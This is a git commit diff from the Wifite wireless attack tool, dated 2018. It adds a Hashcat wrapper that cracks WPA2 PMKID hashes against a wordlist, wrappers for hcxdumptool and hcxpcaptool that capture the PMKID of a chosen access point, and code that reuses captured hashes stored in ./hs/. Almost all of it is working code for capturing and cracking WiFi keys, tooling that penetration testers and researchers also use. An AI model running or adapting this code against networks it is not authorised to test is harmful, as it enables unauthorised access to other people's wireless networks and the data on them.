Added Hashcat library, PMKID is persisted in ./hs/ and re-used

This commit is contained in:
derv82
2018-08-15 21:08:31 -07:00
parent dd7e93666a
commit fd3c955c48
5 changed files with 210 additions and 27 deletions

View File

@@ -24,8 +24,60 @@ class AttackPMKID(Attack):
self.pcapng_file = Configuration.temp('pmkid.pcapng') self.pcapng_file = Configuration.temp('pmkid.pcapng')
def get_existing_pmkid_file(self, bssid):
'''
Load PMKID Hash from a previously-captured hash in ./hs/
Returns:
The hashcat hash (hash*bssid*station*essid) if found.
None if not found.
'''
if not os.path.exists(Configuration.wpa_handshake_dir):
return None
bssid = bssid.lower().replace(':', '')
file_re = re.compile('.*pmkid_.*\.16800')
for filename in os.listdir(Configuration.wpa_handshake_dir):
pmkid_filename = os.path.join(Configuration.wpa_handshake_dir, filename)
if not os.path.isfile(pmkid_filename):
continue
if not re.match(file_re, pmkid_filename):
continue
with open(pmkid_filename, 'r') as pmkid_handle:
pmkid_hash = pmkid_handle.read().strip()
if pmkid_hash.count('*') < 3:
continue
existing_bssid = pmkid_hash.split('*')[1].lower().replace(':', '')
if existing_bssid == bssid:
return pmkid_filename
return None
def run(self): def run(self):
# TODO: Check ./hs/ for previously-captured PMKID, skip to crack if found. # TODO: Check ./hs/ for previously-captured PMKID, skip to crack if found.
pmkid_file = None
# Load exisitng has from filesystem
if Configuration.ignore_old_handshakes == False:
pmkid_file = self.get_existing_pmkid_file(self.target.bssid)
if pmkid_file is not None:
Color.pattack('PMKID', self.target, 'CAPTURE',
'Loaded {C}existing{W} PMKID hash: {C}%s{W}\n' % pmkid_file)
# Capture hash from live target.
if pmkid_file is None:
pmkid_file = self.capture_pmkid()
if pmkid_file is None:
return False # No hash found.
# Crack it.
self.success = self.crack_pmkid_file(pmkid_file)
return self.success
def capture_pmkid(self):
self.keep_capturing = True self.keep_capturing = True
self.timer = Timer(60) self.timer = Timer(60)
@@ -49,36 +101,49 @@ class AttackPMKID(Attack):
if pmkid_hash is None: if pmkid_hash is None:
Color.pattack('PMKID', self.target, 'CAPTURE', Color.pattack('PMKID', self.target, 'CAPTURE',
'{R}Failed{O} to capture PMKID.') '{R}Failed{O} to capture PMKID\n')
return False # No hash found. Color.pl("")
return None # No hash found.
Color.pattack('PMKID', self.target, 'CAPTURE', '{G}Captured PMKID{W}') Color.clear_entire_line()
Color.pattack('PMKID', self.target, 'CAPTURE', '{G}Captured PMKID{W}\n')
pmkid_file = self.save_pmkid(pmkid_hash) pmkid_file = self.save_pmkid(pmkid_hash)
return pmkid_file
def crack_pmkid_file(self, pmkid_file):
'''
Cracks file containing PMKID hash (*.16800).
If cracked, saves results in self.crack_result
Returns:
True if cracked, False otherwise.
'''
with open(pmkid_file, 'r') as pmkid_handle:
Color.pl("\nPMKID_FILE:%s HASH:'%s'" % (pmkid_file, pmkid_handle.read()))
# Check that wordlist exists before cracking. # Check that wordlist exists before cracking.
if Configuration.wordlist is None: if Configuration.wordlist is None:
Color.pl('\n{!} {O}Not cracking because {R}wordlist{O} is not set.') Color.pl('\n{!} {O}Not cracking because {R}wordlist{O} is not found.')
Color.pl('{!} {O}Run Wifite with the {R}--crack{O} and {R}--dict{O} options to try again.') Color.pl('{!} {O}Run Wifite with the {R}--crack{O} and {R}--dict{O} options to try again.')
key = None key = None
else: else:
Color.pattack('PMKID', self.target, 'CRACK', 'Cracking PMKID... ') Color.clear_entire_line()
Color.pattack('PMKID', self.target, 'CRACK', 'Cracking PMKID...\n')
key = Hashcat.crack_pmkid(pmkid_file) key = Hashcat.crack_pmkid(pmkid_file)
if key is None: if key is None:
# Failed to crack. # Failed to crack.
Color.pattack('PMKID', self.target, 'CRACK', Color.clear_entire_line()
'{R}Failed{O} to crack PMKID ') Color.pattack('PMKID', self.target, '{R}CRACK',
'{R}Failed{O} to crack PMKID\n')
Color.pl("") Color.pl("")
return False return False
else: else:
# Successfully cracked. # Successfully cracked.
Color.pattack('PMKID', self.target, '', Color.clear_entire_line()
'{C}Cracked PMKID. Key: {G}%s{W}' % key) Color.pattack('PMKID', self.target, 'CRACKED', '{C}Key: {G}%s{W}\n' % key)
Color.pl("")
self.crack_result = CrackResultPMKID(self.target.bssid, self.target.essid, self.crack_result = CrackResultPMKID(self.target.bssid, self.target.essid,
pmkid_hash, pmkid_file, key) pmkid_file, key)
self.crack_result.dump() self.crack_result.dump()
self.success = True
return True return True
@@ -111,6 +176,5 @@ class AttackPMKID(Attack):
with open(pmkid_file, 'w') as pmkid_handle: with open(pmkid_file, 'w') as pmkid_handle:
pmkid_handle.write(pmkid_hash) pmkid_handle.write(pmkid_hash)
pmkid_handle.write('\n') pmkid_handle.write('\n')
Color.pl('{G}saved{W}')
return pmkid_file return pmkid_file

View File

@@ -34,10 +34,7 @@ class AttackWPA(Attack):
self.success = False self.success = False
return self.success return self.success
handshake = None # Capture the handshake (or use an old one)
# Capture the handshake ("do it live!")
if handshake is None:
handshake = self.capture_handshake() handshake = self.capture_handshake()
if handshake is None: if handshake is None:

View File

@@ -5,11 +5,10 @@ from ..util.color import Color
from .result import CrackResult from .result import CrackResult
class CrackResultPMKID(CrackResult): class CrackResultPMKID(CrackResult):
def __init__(self, bssid, essid, pmkid_hash, pmkid_file, key): def __init__(self, bssid, essid, pmkid_file, key):
self.result_type = 'PMKID' self.result_type = 'PMKID'
self.bssid = bssid self.bssid = bssid
self.essid = essid self.essid = essid
self.pmkid_hash = pmkid_hash
self.pmkid_file = pmkid_file self.pmkid_file = pmkid_file
self.key = key self.key = key
super(CrackResultPMKID, self).__init__() super(CrackResultPMKID, self).__init__()
@@ -23,9 +22,6 @@ class CrackResultPMKID(CrackResult):
('Access Point BSSID'.rjust(19), self.bssid)) ('Access Point BSSID'.rjust(19), self.bssid))
Color.pl('{+} %s: {C}%s{W}' % Color.pl('{+} %s: {C}%s{W}' %
('Encryption'.rjust(19), self.result_type)) ('Encryption'.rjust(19), self.result_type))
if self.pmkid_hash:
Color.pl('{+} %s: {C}%s{W}' %
('PMKID Hash'.rjust(19), self.pmkid_hash))
if self.pmkid_file: if self.pmkid_file:
Color.pl('{+} %s: {C}%s{W}' % Color.pl('{+} %s: {C}%s{W}' %
('PMKID File'.rjust(19), self.pmkid_file)) ('PMKID File'.rjust(19), self.pmkid_file))
@@ -41,15 +37,14 @@ class CrackResultPMKID(CrackResult):
'essid' : self.essid, 'essid' : self.essid,
'bssid' : self.bssid, 'bssid' : self.bssid,
'key' : self.key, 'key' : self.key,
'pmkid_hash' : self.pmkid_hash,
'pmkid_file' : self.pmkid_file 'pmkid_file' : self.pmkid_file
} }
if __name__ == '__main__': if __name__ == '__main__':
w = CrackResultPMKID('AA:BB:CC:DD:EE:FF', 'Test Router', 'abc*def*ghi*jkl', 'hs/pmkid_blah-123213.16800', 'abcd1234') w = CrackResultPMKID('AA:BB:CC:DD:EE:FF', 'Test Router', 'hs/pmkid_blah-123213.16800', 'abcd1234')
w.dump() w.dump()
w = CrackResultPMKID('AA:BB:CC:DD:EE:FF', 'Test Router', 'abc*def*ghi*jkl', 'hs/pmkid_blah-123213.16800', 'Key') w = CrackResultPMKID('AA:BB:CC:DD:EE:FF', 'Test Router', 'hs/pmkid_blah-123213.16800', 'Key')
print('\n') print('\n')
w.dump() w.dump()
w.save() w.save()

View File

@@ -94,7 +94,6 @@ class CrackResult(object):
from .pmkid_result import CrackResultPMKID from .pmkid_result import CrackResultPMKID
result = CrackResultPMKID(json['bssid'], result = CrackResultPMKID(json['bssid'],
json['essid'], json['essid'],
json['pmkid_hash'],
json['pmkid_file'], json['pmkid_file'],
json['key']) json['key'])
result.date = json['date'] result.date = json['date']

128
wifite/tools/hashcat.py Normal file
View File

@@ -0,0 +1,128 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from .dependency import Dependency
from ..config import Configuration
from ..util.process import Process
from ..util.color import Color
import os
class Hashcat(Dependency):
dependency_required = False
dependency_name = 'hashcat'
dependency_url = 'https://hashcat.net/hashcat/'
@staticmethod
def crack_pmkid(pmkid_file):
'''
Cracks a given pmkid_file using the PMKID/WPA2 attack (-m 16800)
Returns:
Key (str) if found; `None` if not found.
'''
command = [
'hashcat',
'--force',
'--quiet',
'-m', '16800',
'-a', '0', # TODO: Configure
'-w', '2', # TODO: Configure
pmkid_file,
Configuration.wordlist
]
# TODO: Check status of hashcat (%); it's impossible with --quiet
try:
hashcat_proc = Process(command)
hashcat_proc.wait()
stdout = hashcat_proc.stdout()
except KeyboardInterrupt: # In case user gets impatient
Color.pl('\n{!} {O}Interrupted hashcat cracking{W}')
stdout = ''
if ':' not in stdout:
# Failed
return None
else:
# Cracked
key = stdout.strip().split(':', 1)[1]
return key
class HcxDumpTool(Dependency):
dependency_required = False
dependency_name = 'hcxdumptool'
dependency_url = 'https://github.com/ZerBea/hcxdumptool'
def __init__(self, target, pcapng_file):
# Create filterlist
filterlist = Configuration.temp('pmkid.filterlist')
with open(filterlist, 'w') as filter_handle:
filter_handle.write(target.bssid.replace(':', ''))
if os.path.exists(pcapng_file):
os.remove(pcapng_file)
command = [
"hcxdumptool",
"-i", Configuration.interface,
"--filterlist", filterlist,
"--filtermode", "2",
"-c", str(target.channel),
"-o", pcapng_file
]
self.proc = Process(command)
def poll(self):
return self.proc.poll()
def interrupt(self):
self.proc.interrupt()
class HcxPcapTool(Dependency):
dependency_required = False
dependency_name = 'hcxpcaptool'
dependency_url = 'https://github.com/ZerBea/hcxtools'
def __init__(self, target):
self.target = target
self.bssid = self.target.bssid.lower().replace(':', '')
self.pmkid_file = Configuration.temp('pmkid-%s.16800' % self.bssid)
def get_pmkid_hash(self, pcapng_file):
if os.path.exists(self.pmkid_file):
os.remove(self.pmkid_file)
command = [
'hcxpcaptool',
'-z', self.pmkid_file,
pcapng_file
]
hcxpcap_proc = Process(command)
hcxpcap_proc.wait()
if not os.path.exists(self.pmkid_file):
return None
with open(self.pmkid_file, 'r') as f:
output = f.read()
# Each line looks like:
# hash*bssid*station*essid
# Note: The dumptool will record *anything* it finds, ignoring the filterlist.
# Check that we got the right target (filter by BSSID)
matching_pmkid_hash = None
for line in output.split('\n'):
fields = line.split('*')
if len(fields) >= 3 and fields[1].lower() == self.bssid:
# Found it
matching_pmkid_hash = line
break
os.remove(self.pmkid_file)
return matching_pmkid_hash